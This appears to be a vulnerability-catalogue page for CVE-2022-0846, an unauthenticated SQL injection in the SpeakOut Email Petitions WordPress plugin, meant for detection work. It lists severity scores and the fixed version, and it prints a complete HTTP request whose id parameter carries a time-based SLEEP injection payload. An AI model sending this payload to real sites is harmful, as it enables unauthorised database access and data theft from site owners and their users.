🔙 목록으로 돌아가기

CVE-2022-0846: SpeakOut Email Petitions < 2.14.15.1 - SQL Injection

TitleSpeakOut Email Petitions < 2.14.15.1 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationFixed in version 2.14.15.1
CVSS Score9.8
EPSS Score0.71133
CVE IDCVE-2022-0846
CWE IDCWE-89
Tags time-based-sqli cve cve2022 wordpress wp-plugin wp unauth wpscan sqli speakout speakout-email-petitions speakout\!_email_petitions_project vkev vuln

🔍 Vulnerability Description

The SpeakOut! Email Petitions WordPress plugin before 2.14.15.1 does not sanitise and escape the id parameter before using it in a SQL statement via the dk_speakout_sendmail AJAX action, leading to an SQL Injection exploitable by unauthenticated users.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15
Connection: close
Content-Length: 86
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=dk_speakout_sendmail&id=12+AND+(SELECT+5023+FROM+(SELECT(SLEEP(6)))Fvrh)--+VoFu

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0846.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0846.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A